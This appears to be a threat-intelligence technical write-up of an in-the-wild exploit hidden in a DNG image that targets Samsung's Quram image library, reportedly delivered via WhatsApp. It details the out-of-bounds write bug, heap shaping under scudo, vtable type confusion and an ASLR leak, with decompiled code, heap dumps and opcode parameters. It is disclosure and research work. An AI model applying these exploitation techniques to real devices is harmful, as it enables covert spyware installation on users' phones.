Introduction

Between July 2024 and February 2025, 6 suspicious image files were uploaded to VirusTotal. Thanks to a lead from Meta, these samples came to the attention of Google Threat Intelligence Group.

Investigation of these images showed that these images were DNG files targeting the Quram library, an image parsing library specific to Samsung devices.

On November 7, 2025 Unit 42 released a blogpost describing how these exploits were used and the spyware they dropped. In this blogpost, we would like to focus on the technical details about how the exploits worked. The exploited Samsung vulnerability was fixed in April 2025.

There has been excellent prior work describing image-based exploits targeting iOS, such as Project Zero’s writeup on FORCEDENTRY. Similar in-the-wild “one-shot” image-based exploits targeting Android have received less public documentation, but we would definitely not argue it is because of their lack of existence. Therefore we believe it is an interesting case study to publicly document the technical details of such an exploit on Android.

Attack vector

The VirusTotal submission filenames of several of these exploits indicated that these images were received over WhatsApp:

IMG-20240723-WA0000.jpg

IMG-20240723-WA0001.jpg

IMG-20250120-WA0005.jpg

WhatsApp Image 2025-02-10 at 4.54.17 PM.jpeg

The first filenames listed follow the naming scheme of WhatsApp on Android. The last filename is how WhatsApp Web names image downloads.

The first two images were received on the same day, based on the filename, potentially by the same target. Later analysis showed that the first image targets the jemalloc allocator, while the second one targets the scudo allocator, used on more recent Android versions. This blogpost will detail the scudo version of the exploit as this allocator is more hardened and relevant for recent devices. The concepts and techniques used in the jemalloc version are similar.

The final payload (as we’ll see later) indicates that the exploit expects to run within the com.samsung.ipservice process. How are WhatsApp and com.samsung.ipservice related and what is this process?

The com.samsung.ipservice process is a Samsung-specific system service responsible for providing "intelligent" or AI-powered features to other Samsung applications. It will periodically scan and parse images and videos in Android’s MediaStore.

When WhatsApp receives and downloads an image, it will insert it in the MediaStore. This means that downloaded WhatsApp images (and videos) can hit image parsing attack surface within the com.samsung.ipservice application.

However, WhatsApp does not intend to automatically download images from untrusted contacts. (WhatsApp on Android’s logic is a bit more nuanced though. More details can be found in Brendon Tiszka’s report of a different issue). This means that without additional bypasses and assuming the image is sent by an untrusted contact, a target would have to click the image to trigger the download and have it added to the MediaStore. This would mean this is in fact a “1-click” exploit. We don’t have any knowledge or evidence of the attacker using such a bypass though.

A curious image

Before we delve into the exploit, let’s gather an understanding of what type of file we are looking at.

$ file "WhatsApp Image 2025-02-10 at 4.54.17 PM.jpeg" 

WhatsApp Image 2025-02-10 at 4.54.17 PM.jpeg: TIFF image data, little-endian, direntries=24, width=1, height=1, bps=8, compression=none, PhotometricInterpretation=BlackIsZero, description={"shape": [1, 1, 1]}, manufacturer=Canon, model=Canon EOS 350D DIGITAL, orientation=upper-left

$ exiftool "WhatsApp Image 2025-02-10 at 4.54.17 PM.jpeg"

...

File Type                       : DNG

File Type Extension             : dng

MIME Type                       : image/x-adobe-dng

...

Image Width                     : 16

Image Height                    : 16

Bits Per Sample                 : 8

Compression                     : Uncompressed

Photometric Interpretation      : Color Filter Array

Image Description               : {"shape": [16, 16]}

Samples Per Pixel               : 1

X Resolution                    : 1

Y Resolution                    : 1

Resolution Unit                 : None

Tile Width                      : 16

Tile Length                     : 16

Tile Offsets                    : 6596538

Tile Byte Counts                : 256

CFA Repeat Pattern Dim          : 2 2

CFA Pattern 2                   : 0 1 1 2

CFA Plane Color                 : Red,Green,Blue

CFA Layout                      : Rectangular

Active Area                     : 0 0 10 10

Opcode List 1                   : [opcode 23], [opcode 23], [opcode 23], [opcode 23], ...

Opcode List 2                   : [opcode 23], [opcode 23], [opcode 23], [opcode 23], [opcode 23], ...

Opcode List 3                   : TrimBounds, DeltaPerColumn, DeltaPerColumn, DeltaPerColumn, ...

Subfile Type                    : Full-resolution image

Strip Offsets                   : 6596794

Strip Byte Counts               : 1

...

(We truncated the “Opcode List” lines, since they contained thousands of opcodes in the actual exiftool output.)

Although the image was saved with a jpeg extension, this image is in fact a Digital Negative (DNG) image. According to Wikipedia:

Digital Negative (DNG) is an open source, lossless, well defined camera RAW data container with the goal to replace a range of proprietary, closed source raw image containers. It has been developed by Adobe.

…

DNG is based on the TIFF/EP standard format, and mandates significant use of metadata. The specification of the file format is open and not subject to any intellectual property restrictions or patents.

The image width and height look suspiciously small. And what are these opcode lists?

Some DNG format basics

The DNG format specification can be found on Adobe’s website.

DNG files use SubIFD trees, as described in the TIFF-EP specification, in order to contain multiple versions of the same image, such as a preview and a main image. This DNG file has 3 SubIFDs:

• Type “Preview Image” with width 1 and length 1

• Type “Main Image” with width 16 and length 16

• Type “Main Image” with width 1 and length 1

As we mentioned already briefly, the sizes of these images are obviously very suspicious, as well as the fact that there are 2 “Main Image” types. We have not figured out what the purpose of the second main image is (if any).

DNG images can contain 3 “opcode lists”. As it will turn out, these “opcodes” will be very important in the context of this exploit. Their goal is to offload some processing steps from the camera to the DNG reader. Their intended use case is for example to perform lens corrections. The reason there are 3 opcode lists is because they are intended to be applied at different moments during the DNG decoding:

1. The raw image bytes are read from the DNG file, a.k.a. the “stage 1” image

• Opcode list 1 specifies the list of opcodes that should be applied to the stage 1 image

• Opcode list 2 specifies the list of opcodes that should be applied to the stage 2 image 

• Opcode list 3 specifies the list of opcodes that should be applied to the stage 3 image.

Every opcode has an opcode ID and varying number and type of parameters. The latest specification (1.7.1.0 from September 2023), contains 14 distinct opcodes, with opcode IDs going from 1 to 14. Below is an example of opcode description found in the specification:

For this exploit, only 3 opcodes will be of interest: 

• TrimBounds (opcode ID 6): This opcode trims the image to a specified rectangle. 

• MapTable (opcode ID 7): This opcode maps a specified area and plane range of an image through a 16-bit lookup table.

• DeltaPerColumn (opcode ID 11): This opcode applies a per-column delta (constant offset) to a specified area and plane range of an image. 

DeltaPerColumn and MapTable perform transformations on areas (defined by a top, left, bottom and right parameter) and plane ranges (defined by a first plane and number of planes parameter). 

Looking at the opcode lists in the exiftool output above, we already notice some suspicious things:

• They use opcodes with opcode ID 23 (which exiftool can not map to an opcode name).

• Typical benign DNG images will contain only a handful of opcodes, while for this image we have thousands of opcodes in the opcode lists.

Quram

As we mentioned before, the targeted process based on the payload is the Samsung firmware specific com.samsung.ipservice. The next question then becomes what code in this application performs the DNG decoding.

Looking at a decompiled com.samsung.ipservice APK (which on our test phone was located at /system/priv-app/IPService/IPService.apk), we can see that when the application parses a file with an extension of "jpg", "jpeg", "JPG" or "JPEG", it will call into the Java method com.quramsoft.images.QrBitmapFactory.decodeFile (bundled in the same APK).

public class com.quramsoft.images.QrBitmapFactory {

   public static Bitmap decodeFile(String str, Options options) {

        Bitmap decodeFile = QuramBitmapFactory.decodeFile(str, options); // [1]; calls into Java_com_quramsoft_images_QuramBitmapFactory_nativeDecodeFile2

                                                                         // Fails

        if ((options.inJustDecodeBounds && (options.outWidth > 0 || options.outHeight > 0)) || decodeFile != null) {

            return decodeFile;

        }

        try {

            Bitmap decodeFile2 = QuramDngBitmap.decodeFile(str, options); // [2]; calls into Java_com_quramsoft_images_QuramDngBitmap_DecodeDNGImageBufferJNI

            if (options.outWidth <= 0) {

                if (options.outHeight <= 0) {

                    return decodeFile2;

                }

            }

            options.outMimeType = "image/dng";

            return decodeFile2;

        } catch (IOException e2) {

            e2.printStackTrace();

            return null;

        }

    }

The "Quram library" is a set of proprietary, closed-source software libraries used by Samsung on its Android devices. Its primary function is to process, parse, and decode various image formats. The library is not developed by Samsung itself. It is created by a third-party software vendor named Quramsoft. Mateusz Jurczyk already wrote about this library in 2020.

The QrBitmapFactory.decodeFile method will first try to decode the image using QuramBitmapFactory.decodeFile (see [1]), which calls the exported Java_com_quramsoft_images_QuramBitmapFactory_nativeDecodeFile2 function of the native library libimagecodec.quram.so. This function handles formats such as PNG, JPEG and GIF, but not DNG. This native library is not part of the IPService APK but rather located at /system/lib64/libimagecodec.quram.so.

When QuramBitmapFactory.decodeFile fails, QrBitmapFactory.decodeFile calls QuramDngBitmap.decodeFile as a fallback (see [2]), which then calls Java_com_quramsoft_images_QuramDngBitmap_DecodeDNGImageBufferJNI. This function will perform the complete DNG decoding and it is within this code path the vulnerability is triggered and the exploit fully executes.

The call sequence is summarized below:

com.quramsoft.images.QrBitmapFactory.decodeFile (com.samsung.ipservice.apk)

|_ com.quramsoft.images.QuramBitmapFactory.decodeFile (com.samsung.ipservice.apk)

|  |_  Java_com_quramsoft_images_QuramBitmapFactory_nativeDecodeFile2 (/system/lib64/libimagecodec.quram.so) // Fails

|

|_ com.quramsoft.images.QuramDngBitmap.decodeFile (com.samsung.ipservice.apk)

   |_ Java_com_quramsoft_images_QuramDngBitmap_DecodeDNGImageBufferJNI (/system/lib64/libimagecodec.quram.so) // Triggers bug

Analysis setup

A few tools came in handy when analysing this exploit, which we’ll describe next.

First of all, on the static analysis side, we need an overview of the different opcodes that are called with their parameters. exiftool only gives us a list of the (translated) opcode IDs. To inspect every opcode with its parameters, we can use the dng_validate tool provided by Adobe’s DNG SDK with the -v flag. It will parse the opcode lists and we can post-process its textual output to make sense of the thousands of opcodes. Here is a snippet of what the output looks like, showing us the different parameters of a few TrimBounds and DeltaPerColumn opcodes.

...

Opcode: Unknown (23), minVersion = 1.4.0.0, flags = 1

Opcode: Unknown (23), minVersion = 1.4.0.0, flags = 1

Opcode: Unknown (23), minVersion = 1.4.0.0, flags = 1

Opcode: Unknown (23), minVersion = 1.4.0.0, flags = 1

Parsing OpcodeList3: 5347 opcodes

Opcode: TrimBounds, minVersion = 1.4.0.0, flags = 1

Bounds: t=0, l=0, b=1, r=1

Opcode: DeltaPerColumn, minVersion = 1.4.0.0, flags = 1

AreaSpec: t=0, l=0, b=1, r=1, p=5125:5123, rp=1, cp=1

Count: 1

    Delta [0] = 26214.000000

Opcode: DeltaPerColumn, minVersion = 1.4.0.0, flags = 1

AreaSpec: t=0, l=0, b=1, r=1, p=5127:5125, rp=1, cp=1

Count: 1

    Delta [0] = 26214.000000

Opcode: DeltaPerColumn, minVersion = 1.4.0.0, flags = 1

AreaSpec: t=0, l=0, b=1, r=1, p=5157:5155, rp=1, cp=1

Count: 1

    Delta [0] = 26214.000000

...

On the dynamic analysis side, debugging com.samsung.ipservice would be very annoying, since it only runs periodically (although there are tricks to force start it). For easier debugging, we reused @flankerhqd’s fuzzing harness (in part based on Project Zero’s SkCodecFuzzer), which loads a DNG file provided as a filename into a buffer and passes it to libimagecodec.quram.so’s QrDecodeDNGPreview. We compile it as a standalone binary and can run it under a debugger.

It is noteworthy that QrDecodeDNGPreview (used in our harness) is not the export called by com.samsung.ipservice (which ends up calling QuramDngDecoder::decode). However, if there is no preview image available with one of the JPEG compression types, QrDecodeDNGPreview will call QuramDngDecoder::decodePreview, which will also perform a full DNG decoding and successfully triggers the vulnerability and exploit. 

Our test phone was a Samsung Galaxy S21 5G (SM-G991B) running firmware version G991BXXSAFXCL, which has a security patch level of 2024-04-01.

The bug

Using the dng_validate tool we can make a listing of the sequence of opcodes called and their number of repetitions:

$ grep Opcode dng_validate.out  | uniq -c

      1 OpcodeList1: count = 320004, offset = 814

      1 OpcodeList2: count = 3844, offset = 320818

      1 OpcodeList3: count = 6271556, offset = 324662

      1 Parsing OpcodeList1: 20000 opcodes

  20000 Opcode: Unknown (23), minVersion = 1.4.0.0, flags = 1

      1 Parsing OpcodeList2: 240 opcodes

    240 Opcode: Unknown (23), minVersion = 1.4.0.0, flags = 1

      1 Parsing OpcodeList3: 5347 opcodes

      1 Opcode: TrimBounds, minVersion = 1.4.0.0, flags = 1

    480 Opcode: DeltaPerColumn, minVersion = 1.4.0.0, flags = 1

      1 Opcode: MapTable, minVersion = 1.4.0.0, flags = 1

     34 Opcode: DeltaPerColumn, minVersion = 1.4.0.0, flags = 1

      2 Opcode: MapTable, minVersion = 1.4.0.0, flags = 1

     34 Opcode: DeltaPerColumn, minVersion = 1.4.0.0, flags = 1

      1 Opcode: MapTable, minVersion = 1.4.0.0, flags = 1

    400 Opcode: TrimBounds, minVersion = 1.4.0.1, flags = 1

      4 Opcode: MapTable, minVersion = 1.4.0.0, flags = 1

     48 Opcode: DeltaPerColumn, minVersion = 1.4.0.0, flags = 1

      4 Opcode: MapTable, minVersion = 1.4.0.0, flags = 1

    216 Opcode: DeltaPerColumn, minVersion = 1.4.0.0, flags = 1

      4 Opcode: MapTable, minVersion = 1.4.0.0, flags = 1

     24 Opcode: DeltaPerColumn, minVersion = 1.4.0.0, flags = 1

     15 Opcode: MapTable, minVersion = 1.4.0.0, flags = 1

     34 Opcode: DeltaPerColumn, minVersion = 1.4.0.0, flags = 1

      1 Opcode: MapTable, minVersion = 1.4.0.0, flags = 1

     34 Opcode: DeltaPerColumn, minVersion = 1.4.0.0, flags = 1

    240 Opcode: TrimBounds, minVersion = 1.4.0.1, flags = 1

      2 Opcode: MapTable, minVersion = 1.4.0.0, flags = 1

     48 Opcode: DeltaPerColumn, minVersion = 1.4.0.0, flags = 1

      2 Opcode: MapTable, minVersion = 1.4.0.0, flags = 1

    216 Opcode: DeltaPerColumn, minVersion = 1.4.0.0, flags = 1

      4 Opcode: MapTable, minVersion = 1.4.0.0, flags = 1

     12 Opcode: DeltaPerColumn, minVersion = 1.4.0.0, flags = 1

      6 Opcode: MapTable, minVersion = 1.4.0.0, flags = 1

   2438 Opcode: DeltaPerColumn, minVersion = 1.4.0.0, flags = 1

   1040 Opcode: Unknown (23), minVersion = 1.4.0.0, flags = 1

      1 Opcode: TrimBounds, minVersion = 1.4.0.0, flags = 1

      1 Opcode: ScalePerColumn, minVersion = 1.4.0.0, flags = 1

The specification mentions that if the flag bit is set (which it is), opcodes with unknown opcode IDs should be skipped. So let’s for the moment ignore the “Unknown” opcodes with ID 23 (more on them later).

Let’s look at the first 2 known opcodes, which occur in opcode list 3:

$ grep -A8 TrimBounds dng_validate.out  | head -n 8

Opcode: TrimBounds, minVersion = 1.4.0.0, flags = 1

Bounds: t=0, l=0, b=1, r=1

Opcode: DeltaPerColumn, minVersion = 1.4.0.0, flags = 1

AreaSpec: t=0, l=0, b=1, r=1, p=5125:5123, rp=1, cp=1

Count: 1

    Delta [0] = 26214.000000

The DNG opcode parameters are embedded directly in the file. DeltaPerColumn takes a list of deltas to be applied to each pixel and the "Area Spec" to work over: top, left, right, bottom coordinates, the plane and total number of planes being targeted, and the length of each row and column (rowPitch and colPitch). These values are controllable by the attacker.

The “first plane” (5125) and “number of planes” (5123) parameters of the DeltaPerColumn opcode are very suspicious. At stage 3 in the DNG decoding, the number of planes will be 3 (R, G and B), as can be seen in the CFA related data of the exiftool output. The first value (5125) is the first plane to apply the DeltaPerColumn to, while the second value (5123) is the number of planes. Since the planes are numbered 0 to 2, these values are clearly out of bounds.

Let’s have a look at QuramDngOpcodeDeltaPerColumn::processArea, which is the handler for the DeltaPerColumn opcode. Below are the relevant lines of that function for the vulnerability. (Variable names are chosen by us since this is a closed source library)

__int64 __fastcall QuramDngOpcodeDeltaPerColumn::processArea(

        QuramDngOpcode *opcode,

        QuramDngDecoder *decoder,

        QuramDngImage *image,

        QuramDngRect *rect)

{

...

    image_buffer = image->buffer;

...

                image_number_of_planes = image_buffer->planes;  // 3

                opcode_first_plane = opcode->plane;  // 5125

....

                opcode_number_of_planes = opcode->planes;  // 5123

                opcode_last_plane = image_number_of_planes + opcode_number_of_planes;  // 3 + 5123 = 5126

...

                    if (opcode_first_plane < opcode_last_plane )  // 5125 < 5126

                    {

...

                            current_plane = opcode_first_plane;  // 5125

...

                                do

                                {

...                                 // Add delta to the value in the raw pixel buffer at offset corresponding to plane `current_plane`, i.e. 5125!

                                    current_plane++;

                                }

                                while ( current_plane != opcode_last_plane );  // 5125 != 5126

...

}

The function takes a few objects with Quram specific structure as arguments. The QuramDngImage describes the image on which the opcode is to be applied (which is the stage 3 image at this point). The QuramDngOpcode contains the DeltaPerColumn parameters. The function has a triple nested loop to iterate over the width, length and planes of the area. For every such triplet (width,length,plane) it calculates the offset in the raw pixel buffer and adds a delta to it. Only the plane loop is relevant for the bug and displayed in the code above.

Below is an example of a 6x6 image with its different color planes and to what offsets the pixel values map in the raw pixel buffer. During stage 2 and stage 3 image processing, each pixel value in each color plane takes 16 bits.

There are two issues in that handler function:

• opcode_last_plane is calculated incorrectly. It should be opcode_first_plane + opcode_number_of_planes (as will be the case in the patched version). This by itself is a correctness issue (and a pretty basic one that would be expected to surface by normal usage or testing of the library).

• The plane used in the offset calculation is bounded by opcode_last_plane, but at no point is it checked that opcode_last_plane is within the number of planes that the image contains.

The actual values from the exploit are annotated as comments in the code snippet. With these values, the plane loop will be executed exactly once. The width and length loop will also be executed only once, since t=0, l=0, b=1, r=1. This means exactly one write will happen. Since the stage 3 image in the exploit has a width 1 and length 1, the write will happen at offset 5125 x 2 = 10250 from the raw pixel buffer.

Not only the offset of the write is controlled, the value to be added to the current value in the raw pixel buffer is also fully controlled, since it is an opcode parameter. In this case it is 26214.0 (or 0x6666). This vulnerability gives thus a very strong primitive from the start: the attacker can add chosen values at chosen offsets with respect to the raw pixel buffer.

Now why do we need that TrimBounds opcode before triggering the bug? That will become clear when we discuss the heap shaping strategy. 

Exploit flow

Heap shaping strategy

Since the buffers containing the pixel values are dynamically allocated on the heap, it is important to understand what heap allocations the Quram library makes and how these allocations behave to understand the heap layout at the time of the vulnerability triggering.

As we mentioned earlier, exploits exist for Android versions using both jemalloc and scudo allocator. We will analyse the exploit targeting the scudo allocator, since this is the common allocator on modern Android versions. The same techniques were used in a different way in the jemalloc exploit.

Scudo

We will not give a detailed overview of Android’s scudo allocator, which is being used here for the allocations, since excellent documentation by Synacktiv already exists, to which we refer. We will only mention the elements that are important for this exploit.

Scudo allocates objects in different heap regions depending on the allocation size. For two objects of different types to land near each other, they need to belong to the same size class. The size required from the allocator’s point of view for a “block” is composed of:

• A header of 0x10 bytes

• The chunk with the user requested size. A pointer to the chunk is returned to the caller.

New allocations are retrieved via “transfer batches”. The number of allocations in a transfer batch depends on the size class. For the size we will be interested in (chunks of 0x30 bytes, i.e. blocks of 0x40 bytes), there are 52 allocations in a transfer batch. The allocations within a transfer batch are returned in a randomized order, however subsequent transfer batches are just laid out linearly in memory. A consequence of this is that given enough allocations between two allocations of the same size, an attacker can be confident that the last allocation falls after the first allocation.

Lastly, scudo supports a quarantine mechanism that prevents freed allocations to be returned immediately on a next allocation request. However on Android this quarantine mechanism is disabled. The consequence is that a freed object will be directly reallocated on the next allocation request of the same size.

Quram’s heap allocations

With a basic understanding of scudo’s allocation behaviour, let’s look at the specific heap allocations Quram makes when decoding a DNG file.

First, when Quram parses the opcode lists in the DNG file, it will allocate one QuramDngOpcode object per opcode. These objects contain the parameters of the opcode, as well as a vtable pointer to the handlers for that opcode. The size of such an object depends thus on the number and type of parameters and hence on the type of opcode. The size of the different opcodes can be looked up in QuramDngDecoder::makeDngOpcode. For the exploit at hand, only the following opcode sizes are relevant:

• DeltaPerColumn (opcode ID 11): 0x50 bytes
• MapTable (opcode ID 7): 0x50 bytes
• TrimBounds (opcode ID 6): 0x30 bytes
• Unknown (starting at opcode ID 14, such as opcode ID 23 in the exploit): 0x30 bytes

This means TrimBounds and Unknown opcodes will land in the same heap region, distinct from the heap region containing the DeltaPerColumn and MapTable opcodes.

Next, for every stage image, Quram will allocate three heap buffers:

• A QuramDngImage of fixed size 0x30, which describes the image

• A buffer for the pixel values of variable size (depending on width, height and number of planes)

• A QuramDngPixelBuffer of fixed size 0x40, which describes the contents of the buffer

These different objects and their relationship are illustrated below:

There are two “pixel buffers” at play here, which can be a bit confusing: the QuramDngPixelBuffer object and the raw buffer with pixel values. In what comes, when we talk about “raw pixel buffer”, we refer to the latter.

QuramDngImage and QuramDngPixelBuffer will land in different heap regions since they belong to different scudo allocation class sizes. The raw pixel buffer may end up in the same heap region as a QuramDngImage depending on its size. Its size is calculated by ComputeBufferSize. For the dimensions of the stage 3 image of the exploit (width 1 by length 1 with 3 color planes) it will calculate a size of 0x30 bytes (even though 6 bytes would suffice). For the stage 1 and stage 2 images, the sizes are different and will be allocated in a different heap region.

To conclude, both the TrimBounds opcodes, the Unknown opcodes, the QuramDngImage objects as well as potentially the raw pixel buffer will end up in the same heap region.

Final heap layout

We can now study the sequence of events during DNG decoding to understand the heap layout at the time of the vulnerability trigger:

• QuramDngDecoder::getRegionStage1Image will allocate a “stage 1” QuramDngImage (size 0x30)

• QuramDngDecoder::readStage1Image parses the 3 opcode lists and allocates a QuramDngOpcode structure per opcode. As we saw, only TrimBounds and Unknown opcodes will land in the same heap region of 0x30 bytes chunks, which is of interest to us. Other opcodes are allocated in different heap regions.

$ grep -E 'OpcodeList|TrimBounds|Unknown' dng_validate.out  | uniq -c

      1 OpcodeList1: count = 320004, offset = 814

      1 OpcodeList2: count = 3844, offset = 320818

      1 OpcodeList3: count = 6271556, offset = 324662

      1 Parsing OpcodeList1: 20000 opcodes

  20000 Opcode: Unknown (23), minVersion = 1.4.0.0, flags = 1

      1 Parsing OpcodeList2: 240 opcodes

    240 Opcode: Unknown (23), minVersion = 1.4.0.0, flags = 1

      1 Parsing OpcodeList3: 5347 opcodes

      1 Opcode: TrimBounds, minVersion = 1.4.0.0, flags = 1

    640 Opcode: TrimBounds, minVersion = 1.4.0.1, flags = 1

   1040 Opcode: Unknown (23), minVersion = 1.4.0.0, flags = 1

      1 Opcode: TrimBounds, minVersion = 1.4.0.0, flags = 1

• QuramDngDecoder::buildStage2Image will apply opcode list 1. When it is done, the 20000 unknown opcodes it contains are freed.

• QuramDngDecoder::doBuildStage2 will allocate a QuramDngImage “stage 2” (size 0x30) and convert stage 1 to stage 2. This stage 2 image will take the spot of the last opcode of opcode list 1 that was freed.

• QuramDngDecoder::buildStage2Image can now free the “stage 1” QuramDngImage. It will then process the opcode list 2, and free the 240 “unknown” opcodes.

• QuramDngDecoder::doInterpolateStage3 will allocate both a new “stage 3” QuramDngImage (size 0x30) and subsequently a raw pixel buffer of size 0x30. These will take the spots of the last 2 opcodes freed from opcode list 2 in the previous step.

• QuramDngDecoder::buildStage3Image can now free the “stage 2” QuramDngImage.

• Opcode list 3 gets processed now. In the first TrimBounds opcode, QuramDngOpcodeTrimBounds::doApply will allocate a new raw pixel buffer of size 0x30 (although the replaced raw pixel buffer has the exact same size). This allocation will take the spot of the freed stage 2 image.

• Note that the 640 other TrimBounds opcodes have a “minVersion” of 1.4.0.1. This is a trick that will make QuramDngOpcode::aboutToApply bail out early and not have the TrimBounds actually executed. The goal of spraying these 640 TrimBounds opcodes will become clear later.

The eventual heap layout for chunks of size 0x30 is illustrated below. The annotated offsets will be important later on.

Note that because of scudo’s randomization strategy, the allocations of different opcode lists will actually overlap slightly (on the order of 52 allocations), but given enough allocations this effect can be neglected.

Because the allocations have chunk sizes of 0x30 bytes, they take up 0x40 bytes on the heap. Different chunks in this heap region are thus spaced by multiples of 0x40 bytes, which will help us in quickly inferring what parts of an object are being corrupted. The illustration also depicts the sizes the allocations occupy in total, which will be important for understanding the subsequent exploitation flow.

As we’ll see, the exploit will write out of bounds from the raw pixel buffer of stage 3 into the QuramDngImage of stage 3. This explains why the attackers first used a TrimBounds opcode before triggering the bug: it assures that the raw pixel buffer will end up before the QuramDngImage. Without it, there would be a one out of two chance that the raw pixel buffer takes a spot after the QuramDngImage.

The initial corruption

After achieving the right heap layout using the TrimBounds, 480 DeltaPerColumn opcodes follow. As a reminder, these are allocated in a different heap region because of a different allocation size. As discussed, DeltaPerColumn opcodes are able to add arbitrary values to arbitrary offsets out of bounds. The attackers add 0x6666 to offsets 10 and 12 within 240 heap objects, starting at offset 0x2800 from the raw pixel buffer and ending at offset 0x6400.

Looking at our heap layout, we will corrupt three types of objects at these offsets:

• Unknown and TrimBounds opcodes: opcode structures contain the opcode ID at offset 8 and the specification version at offset 12. Since the opcode IDs will be corrupted, these TrimBounds and Unknown opcodes will simply be skipped later on (which was already the case for the Unknown opcodes).

Before:

0xb400007e3e3fa050:     0x0000007fee5a3fb0      0x0104000000000017

0xb400007e3e3fa060:     0x0000000100000001      0x0000000000000002

0xb400007e3e3fa070:     0x0000000000000000      0x0000000000000000

After:

0xb400007e3e3fa050:     0x0000007fee5a3fb0      0x676a000066660017

0xb400007e3e3fa060:     0x0000000100000001      0x0000000000000002

0xb400007e3e3fa070:     0x0000000000000000      0x0000000000000000

• Most importantly, it will encounter the QuramDngImage object. The two corrupted fields of this object are the “bottom” and “right” fields of the image, which are used in other opcode handlers for verifying if operations are within bounds. This means that we can now use other opcodes, such as MapTable, to perform actions out of bounds.

Before:

0xb400007e3e3fb810:     0x0000000000000000      0x0000000100000001

0xb400007e3e3fb820:     0x0000000300000003      0xb400007f1e2d7ad0

0xb400007e3e3fb830:     0xb400007e3e3f7850      0x0000000000000030

After:

0xb400007e3e3fb810:     0x0000000000000000      0x6666000166660001

0xb400007e3e3fb820:     0x0000000300000003      0xb400007f1e2d7ad0

0xb400007e3e3fb830:     0xb400007e3e3f7850      0x0000000000000030

If we look for example at the first MapTable that follows, it looks like:

Opcode: MapTable, minVersion = 1.4.0.0, flags = 1

AreaSpec: t=0, l=5120, b=1, r=5121, p=0:1, rp=1, cp=1

Count: 65536

Under regular circumstances, the “left” and “right” value would be out of bounds and this opcode would not perform any operation. Because we corrupted the dimensions of the QuramDngImage though, this opcode will operate out of bounds.

Extending the primitives

Incrementing arbitrary out of bound values with chosen values is a powerful primitive, but the exploit will also want to write absolute arbitrary values out of bounds. The former can be converted pretty easily into the latter though.

If we have a primitive to write zeros out of bounds, we can combine that with the increment primitive to write arbitrary values in two steps: zero the memory and then increment it with the value we want to write.

Zeroing memory can be done in two ways, and both are used in the exploit:

• Using the MapTable opcode with a substitution table of all zeros

• Using the DeltaPerColumn opcode. The “Delta” parameter is a float, and -Infinity is supported, which sets the resulting value to 0.

In the exploit, MapTable is only used to zero large regions, likely because of the large space overhead of the MapTable opcode (as it requires a substitution table of 65536 values to be included).

Crafting a bogus MapTable opcode

With linear out-of-bounds write primitive in place, the exploit could now:

• Write a shell command somewhere out of bounds

• Write a JOP gadget chain somewhere out of bounds which ends up calling system()

• Overwrite the vtable pointer of one of the opcode objects to be executed to kick off the JOP chain, resulting in a system(<shell command>) execution

There is one important issue though: we don’t know any of the required addresses, since both the heap and the libraries are subject to ASLR. To leak the addresses of the JOP gadgets, the exploit has to do a bit more work.

Let’s show the first MapTable opcode again:

Opcode: MapTable, minVersion = 1.4.0.0, flags = 1

AreaSpec: t=0, l=5120, b=1, r=5121, p=0:1, rp=1, cp=1

Count: 65536

This opcode will act on offset 5120 x 2 bytes/pixel x 3 colors/pixel = 0x7800 from the raw pixel buffer, which is in the region of those 641 TrimBounds opcodes.

It is corrupting the lower 2 bytes of the vtable pointer of a TrimBounds opcode object. Looking at the substitution table, most values are mapped to itself, however a few are not. (We had to write an additional script to parse this out, since dng_validate’s output of these long substitution tables is truncated).

For example, the value 0xecf0 is mapped to 0xed30. Looking at the libimagecodec.quram.so binary, the new address points to the MapTable vtable. This trick allows the attackers to “type confuse” a TrimBounds opcode to a MapTable opcode, by moving the vtable pointer to a different one, without having to leak any ASLR first.

Their substitution table supports different versions of the library, which works because there are not that many versions of the library (the exploit supports 7 versions) and the lower bytes of the vtable do not collide. Moreover, since ASLR is applied at page level granularity, they need to account for every page multiple the vtable can be mapped at. Say we have the following vtable offsets:

Then the following MapTable substitution table would be constructed (omitting values that don’t matter and can map to whatever):

index  : value

0x0cf0 : 0x0d30

0x0e10 : 0x0e50

0x1cf0 : 0x1d30

0x1e10 : 0x1e50

0x2cf0 : 0x2d30

0x2e10 : 0x2e50

0x3cf0 : 0x3d30

0x3e10 : 0x3e50

0x4cf0 : 0x4d30

0x4e10 : 0x4e50

0x5cf0 : 0x5d30

0x5e10 : 0x5e50

0x6cf0 : 0x6d30

0x6e10 : 0x6e50

0x7cf0 : 0x7d30

0x7e10 : 0x7e50

0x8cf0 : 0x8d30

0x8e10 : 0x8e50

0x9cf0 : 0x9d30

0x9e10 : 0x9e50

0xacf0 : 0xad30

0xae10 : 0xae50

0xbcf0 : 0xbd30

0xbe10 : 0xbe50

0xccf0 : 0xcd30

0xce10 : 0xce50

0xdcf0 : 0xdd30

0xde10 : 0xde50

0xecf0 : 0xed30

0xee10 : 0xee50

0xfcf0 : 0xfd30

0xfe10 : 0xfe50

Using the previously described arbitrary write primitive, the exploit also corrupts various fields of the TrimBounds object to transform it into a functional bogus MapTable object. Note that a regular MapTable opcode object is bigger than a TrimBounds opcode and would hence also land in a different scudo heap class in normal circumstances. Obviously, the library is unaware and will just read opcode arguments out of bounds in this case.

The constructed bogus MapTable opcode object looks like this:

Before:

00007800: f0fc f8cc 7f00 0000 0600 0000 0100 0401  // TrimBounds opcode X

00007810: 0100 0000 0100 0000 0300 0000 0000 0000  

00007820: 0000 0000 0100 0000 0100 0000 0000 0000  

00007830: 0301 0300 0000 71ca 0000 0000 0000 0000  

00007840: f0fc f8cc 7f00 0000 0600 0000 0100 0401  // TrimBounds opcode Y

After:

00007800: 30fd f8cc 7f00 0000 0600 0000 0000 0401  

           | |                           \-\---> Will prevent bailout in QuramDngOpcode::aboutToApply

           \---> changed vtable pointer, from TrimBounds to MapTable 

00007810: 0100 0000 0100 0000 0300 0000 0000 0000  // Arguments of bogus Maptable,

00007820: 0028 0000 0100 0000 982c 0000 0000 0000  // such as top, left, bottom, right,

00007830: 0100 0000 0100 0000 0100 0000 0000 0000  // plane, planes, ...

00007840: f0fc f8cc 7f00 0000 0600 0000 0100 0401 

          \-\--\-\--\-\--\-\----> vtable of the neighboring TrimBounds opcode, interpreted here

                                  as the pointer to the MapTable's substitution table 

The whole goal of this construction is to have the vtable of another opcode object as the pointer for the MapTable substitution table. If we zero out the memory this MapTable will be applied to beforehand, this will result in a read of two bytes from the TrimBounds vtable, i.e. a leak.

/-< Zero'ed memory at offset 0xf000:                   0000 0000 0000 0000 0000 ...

|

|-< MapTable substitution table (TrimBounds vtable):   04b2 a4cd 7f00 0000 a85e ....

|

